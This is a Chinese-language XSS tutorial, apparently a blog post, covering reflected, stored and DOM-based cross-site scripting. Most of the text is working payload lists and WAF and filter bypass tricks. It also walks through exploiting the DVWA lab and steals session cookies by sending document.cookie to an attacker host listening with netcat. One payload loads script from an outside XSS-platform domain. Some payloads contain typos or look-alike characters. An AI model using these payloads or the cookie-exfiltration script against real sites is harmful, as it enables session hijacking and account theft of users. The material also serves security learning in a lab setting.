一、XSS漏洞
目录
1、XSS漏洞简介
XSS全称(跨站脚本攻击),是将恶意 JavaScript 代码插入到Web页面中,当用户浏览到该页面时这些嵌入在Web页面的代码就会被执行,从而到达攻击者的攻击目的。
2、漏洞产生原理
形成XSS漏洞主要原因是:因为Web应用程序对用户输入的内容和程序输出的内容没有经过严格的校验和过滤,导致攻击者构造的恶意代码被带入后,又被当作正常的代码输出至前端页面,浏览器当作有效代码解析执行从而产生危害。
3、漏洞的危害
- 窃取用户 Cookie 信息
- 网络钓鱼,包括获取各类用户浏览器账号
- 劫持用户浏览器,从而执行任意操作
- 网页挂马
- 配合其他漏洞使用,如(CSRF等)实施进一步危害
- 传播跨站脚本蠕虫等
4、漏洞分类
XSS漏洞可以分为三种类型: 反射型 、 存储型 、 DOM型XSS
5、XSS攻击示例(GET传参)
1、攻击者针对www.example.com的一个正常接收GET传参链接进行测试: http://www.example.com/search?query=pilot
2、将参数值修改为JS弹窗代码进行测试:
http://www.example.com/search?query=<script>alert(123)</script>
3、若该参数未经处理直接拼接到JS中,则会直接执行弹窗代码。若将弹窗代码修改为恶意攻击代码,则会产生严重安全问题。
6、XSS绕过方法
6.1、编码绕过
Payload: <a href="javascript:alert(1)">test</a>
<input onlick="alert(1)">
- 十进制
<a href="javascript:alert(1)">test</a>
- 十六进制
<a href="javascript:alert(1)">test</a>
- URL编码
(url 解析过程中,不能对协议类型进行任何的编码操作,所以 javascript: 协议头需要保留)
<a href="javascript:%61%6c%65%72%74%28%31%29">test</a>
<iframe src="javascript:%61%6c%65%72%74%28%31%29">test</iframe>
- JS编码
<script>\u0061\u006c\u0065\u0072\u0074('xss');</script>
<img src=x οnerrοr="\u0061\u006c\u0065\u0072\u0074(1)">
6.2、等价替换
当页面过滤 alert 这个函数时,因为这个函数会弹窗,不仅很多程序会对他进行 过滤,而且很多waf都会对其进行拦截。所以不存在 alert 即可
- <script>prompt(/xss/);</script>
- <script>confirm(1);</script>
- <script src=http://www.xss123.com/eciAKj?1623635663></script>
6.3 大小写绕过
<ScRiPt>AlErT(/xss/)</sCrIpT>
6.4 函数拼接绕过
- <img src="x"οnerrοr="eval('al+ert(1)')">
- <img src="x" οnerrοr="top['al'+'ert'](1)">
- <img src="x" οnerrοr="window['al'+'ert'](1)">
- <img src="x" οnerrοr="self[`al`+`ert`](1)">
7、XSS攻击
-
7.1、XSS攻击常见测试Payload
<script>alert(123)</script>
<script>`xss`</script>
<script>alert(/xss/)</script>
<script>prompt(1);</script>
<script>confirm(1);</script>
<script>setTimeout(alert(1),0)</script>
<script>alert(String.fromCharCode(49,49))</script>
<script>onerror=alert;throw 1337</script>
<script///////////////////////////////////////////////>alert(123)</script>
<img src=1 onerror=alert(1)>
'"><iMg SrC=x OnErRoR=alert(1)>{{7*7}}
<img/src="xss"οnerrοr=alert`1`>
<input onfocus="alert('xss');">
<input οnblur=alert("xss") autofocus><input autofocus> //竞争焦点,从而触发onblur事件
<input onfocus="alert('xss');" autofocus>
<input type="image" formaction=JaVaScript:alert(0)>
<svg οnlοad=alert("xss");>
<svg/οnlοad=prompt(1);>
<iframe οnlοad=alert("xss");></iframe>
<IFRAME SRC="javascript:alert(29);"></IFRAME>
<video><source onerror="alert(1)">
<audio src=x οnerrοr=alert("xss");>
<body onload=prompt(1);>
<body background="javascript:alert(1)">
<a onmouseover=alert(1)>M
<a onclick=alert(1)>M
<a href=javascript:alert(1)>M
<a href=javascript:%61%6c%65%72%74%28%31%29>M
<a href="javascript:alert('test')">link</a>
<div onclick="alert('xss')">
<div onmouseenter="alert('xss')">
<form/action=javascript:alert(22)><input/type=submit>
<form onsubmit=alert(23)><button>M
-
7.2、XSS攻击常见绕过手法
<script>\u0061\u006C\u0065\u0072\u0074(1)</script>
<scr<script>ipt>alert("XSS")</scr<script>ipt>
<sCrIpt>alert(/xss/)</ScRipt>
%3cscript%3ealert("XSS");%3c/script%3e
<x>%00%00%00%00%00%00%00<script>alert(1)</script>
%3CsCrIpt%3Ealert(%2Fxss%2F)%3C%2FScRipt%3E
%3c%73%43%72%49%70%74%3e%61%6c%65%72%74%28%2f%78%73%73%2f%29%3c%2f%53%63%52%69%70%74%3e
%253CsCrIpt%253Ealert(%252Fxss%252F)%253C%252FScRipt%253E
-
7.3、通过不常见的标签绕过
<select onfocus=alert(1)></select>
<select onfocus=alert(1) autofocus> //通过autofocus属性执行本身的focus事件
<details open OntogGle="alert(1)">
<video><source onerror="alert(1)">
<audio src=x οnerrοr=alert("xss");>
<textarea οnfοcus=alert("xss"); autofocus>
<marquee onstart=alert(1)>hack the planet</marquee> //Chrome不行,火狐和IE都可以
<style onload=alert(1) />
<object data="javascript:alert(document.domain)">
二、DOM型XSS
1、DOM型XSS简介
DOM全称Document Object Model,使用DOM可以使程序和脚本能够动态访问和更新文档的内容、结构及样式。DOM型XSS是非持久型XSS,且不与后台服务器产生数据交互,而是通过JS修改网页的DOM来执行恶意脚本进行攻击。注意,DOM型XSS与反射型和存储型最大的区别在于,DOM型XSS不经过服务端,全部的攻击过程都在客户端完成。
HTML的标签都是节点,而这些节点组成了DOM的整体结构 --> DOM树 。HTML DOM树中的所有节点均可以通过JavaScript进行访问。所有HTML元素均可被修改、创建、删除、查找。
document.getElementById("dom").innerHTML = '内容'
<html>
<body>
<button οnclick="displayDate()">点击获取当前时间</button>
<p id="demo">123123123123</p>
<script>
function displayDate() {
document.getElementById("demo").innerHTML='更新demo节点';
}
</script>
</body>
</html>
- 输入内容
- 点击按钮触发onclick 执行domxss函数
- 通过doucment方法获取text标签内容我们输入的内容
- 将我们输入的内容拼接<a>标签打印到<div id="dom">的节点上
2、XSS攻击步骤
- 攻击者找到一个可被用户访问的页面,该页面包含有漏洞的 JavaScript 代码或由用户输入直接生成的 DOM 结构。
- 攻击者通过某种方式,例如发送特制的 URL 或通过篡改页面内容的方式,将恶意代码注入到页面中。
- 用户在浏览器中访问被注入恶意代码的页面时,浏览器解析并执行了这些代码,从而触发了攻击。
- 恶意代码在用户的浏览器中修改了页面的 DOM 树结构,通过操作 DOM 元素和属性,攻击者可以实现各种攻击行为,如盗取用户信息、篡改页面内容等。
3、XSS测试语句
在网站是否存在 xss 漏洞时,应该输入一些标签如<、>输入后查看网页源代码是否过滤标签,如果没过滤,很大可能存在 xss 漏洞
常用XSS语句:
- "><img src=x οnerrοr=alert(1)>
- <script>alert(1)</script>
- <script>console.log(1)</script>
- <img src=x οnerrοr=alert(1)>
- <svg οnlοad=alert(1)>
- <svg/οnlοad=setTimeout('\x61\x6C\x65\x72\x74\x28\x31\x29')>
- ' οnfοcus=javascript:alert() '
- <a href="javascript:alert(1)">test</a>
4、DOM型XSS漏洞利用
DOM型在url注入一段js代码就会触发xss了,是他自身就带有未被过滤里的js代码,我们就利用这个特性进行漏洞利用。
我们随便选择一个,url就出现了刚刚选择的语言。
http://192.168.1.5/dvwa/vulnerabilities/xss_d/?default=French
查看源码后,存在了这样一段,输入什么,在地址那里就出现什么。我们就注入一段代码试试。
http://192.168.1.5/dvwa/vulnerabilities/xss_d/?default=<script>aler(123)</script>
弹出窗口了。
三、存储型XSS
1、XSS存储型
xss存储型是一种当你 输入js代码进去,就会弹回一个窗口,之后,你点其他页面之后,再回来点击刚刚输入的地方,又会给弹出一个窗口出来,顾名思义,急救室输入的代码以及存进你输入的地方了,不管你刷新多少次,都会弹多少窗口给你。
2、XSS存储型示例
我们打开kali中的dvwa,将等级调到低级,选择xss存储型的漏洞,出现以下页面
我们在内容上注入看看。
我们输入什么,在下面都会输出来。
我们输入一下语句。
<script>alert(123)</script>
退出之后,回来,在点击一次xss存储型的地方,又会出现弹窗了.
证明了漏洞的存在,我们就需要获取到用户的cookie,我们输入以下代码:
<script>alert(document.cookie)</script>
cookie拿到了。但是这样太明显了,我们不需要对方看到cookie信息,我们就需要进对方的信息输入到我们的攻击机上去。
我们输入以下语句:
<script>new Image().src="http://192.168.124.131/?output"+document.cookie</script>
我们发现长度不够,我们就利用控制台修改一下长度。
点击F12,进入控制台,对准方框,在图片最左侧的长度修改为10000,,masxlength=“10000”。
我们就可以写入了。我们监听的是8000端口,我们看看kali是否有回显。
在kali上输入nc -nvlp 8000进行监听
<script>new Image().src="http://192.168.124.131:8000/?output"+document.cookie</script>
成功返回了cookie。
四、反射型 XSS(非持久型 / 参数型)
1、反射型XSS介绍
反射型 XSS 也被称为非持久型或参数型跨站脚本攻击。其恶意代码并没有保存在目标网站,而是通过诱导用户点击一个包含恶意链接的 URL 来实施攻击。
案例:
- 发送一个恶意链接给别人,当别人点击该链接访问目标网站时,会出现弹窗。例如:“我这边有这样的一个链接,把这个链接发给别人,别人访问一下就会有一个弹窗。”
- 在网页上输入一段 JS 脚本代码并提交,会有一个弹窗,但这一次执行完后就没有了。例如:“我们在这边输入一个随便输入一个东西,然后输入一段 JS 脚本,提交哎它会有一个弹窗,这一次执行完后就没有了,所以也叫做非持久型。”
2、反射型 XSS 的示例
2.1实例代码
<!DOCTYPE html>
<html>
<body>
<a href="http://example.com/?param=<script>alert('反射型 XSS')</script>">点击我</a>
</body>
</html>
2.2弹窗示例
反射型就是在方框内输入js代码直接返回一个弹窗。
同样是输入什么就返回什么,我们就输入js代码
同样,我们监听8000端口窃取cookie看看
<script>new Image().src="http://192.168.124.131:8000/?output"+document.cookie</script>
同样返回了。